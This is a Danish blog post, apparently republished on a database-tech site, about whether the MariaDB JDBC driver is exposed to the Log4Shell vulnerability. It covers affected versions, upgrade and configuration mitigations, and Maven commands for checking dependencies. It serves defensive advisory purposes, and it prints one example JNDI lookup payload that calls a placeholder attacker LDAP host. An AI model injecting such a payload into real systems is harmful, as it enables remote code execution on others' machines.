sql >> Database teknologi >  >> RDS >> MariaDB

Er MariaDB JDBC-driveren påvirket af Log4j-sårbarheden?

Er MariaDB Java-stikket påvirket af sikkerhedssårbarheden, der for nylig blev opdaget i Log4? Som standard bruger Java-stikket ikke Log4j. Men hvis du har konfigureret den til at bruge SLF4j, så fortsæt med at læse.

Læs Log4Shell og MariaDB for at få oplysninger uden for rækkevidden af ​​MariaDB JDBC-driveren.

Bemærk :Denne blog blev opdateret 2021-12-15 for at inkludere detaljer vedrørende CVE-2021-45046.

Log4j-sårbarheden

Apache Log4j er en populær open source-logningsramme til Java-applikationer. Det bruges i en række open source- og virksomhedsprojekter, herunder cloud-leverandører og e-mail-tjenesteudbydere. Den 9. december 2021 blev der fundet en 0-dages sårbarhed i Log4j, der kunne resultere i fjernudførelse af kode, hvilket tillader en hacker at udføre vilkårlig kode i et system. Sårbarheden er kendt som "Log4Shell" og spores som CVE-2021-44228.

Kort sagt gør sårbarheden det muligt for en angriber at injicere en JNDI-opslagsstreng, der for eksempel kalder en ekstern LDAP-server (styret af angriberen), som igen returnerer en ondsindet Java-klasse:

${jndi:ldap://[attacker_site]/[malicious_java_class]}

Hvis en streng som denne logges af Log4j, kan en ondsindet Java-klasse køre vilkårlig kode (via en statisk kodeblok, for eksempel).

Berørte versioner

Heldigvis er det kun Log4j version 2.x før 2.15.0, der er berørt. Se Apache Log4j sikkerhedssårbarheder siden for mere information. Sårbarheden er ikke til stede i Log4j version 1.x.

Sådan afbødes CVE-2021-44228

Den bedste strategi til at afbøde sårbarheden er at opdatere Log4j-afhængigheden i dine projekter. Version 2.16.0, som fjerner meddelelsesopslag, er allerede tilgængelig. Rekvisitter til holdet for hurtigt at frigive dette.

Opdater :Log4j 2.16.0 retter også den anden sårbarhed sporet som CVE-2021-45046.

MariaDB JDBC-driveren bruger ikke Log4j 2.x. Den understøtter dog SLF4J. Kontroller, om du bruger Log4j-binderen til SLF4J, og hvis det er tilfældet, opgrader Log4j i overensstemmelse hermed eller indstil følgende konfigurationsvariabel:

-Dlog4j2.formatMsgNoLookups=true

Eller indstil følgende miljøvariabel:

LOG4J_FORMAT_MSG_NO_LOOKUPS=true

Bemærk :Logning er kun aktiveret, når det udtrykkeligt er angivet af log parameter. Udover Log4j kan du også vælge andre SLF4J-bindinger som Jakarta Commons Logging, Logback eller Java Logging API.

Hvis du bruger Maven, kan du køre følgende kommando for at finde ud af, om dit projekt afhænger af Log4j:

mvn dependency:tree -Dincludes=org.apache.logging.log4j:log4j-core

Her er et eksempel på den slags output, du får i et sårbart projekt:

Hvis dit projekt af en eller anden grund ikke kompilerer, kan du alternativt køre:

mvn help:effective-pom

Søg efter log4j-core afhængighed og kontroller den anvendte version.

Yderligere oplysninger

Liste over links i bloggen:

  • MariaDB Java-stik
  • SLF4j
  • Relateret blog Log4Shell og MariaDB
  • CVE-2021-44228
  • Apache Log4j sikkerhedssårbarheder
  • Apache Log4j version 2.16.0
  • log parameter

  1. SQL Dev 4.2 Top SQL

  2. Sådan åbnes en database i eksklusiv tilstand i Access 2016

  3. Hvordan bruger man pg_stat_activity?

  4. Hvordan kan jeg bruge en forespørgsel med pladsholder inde i anførselstegn? (perl / postgresql)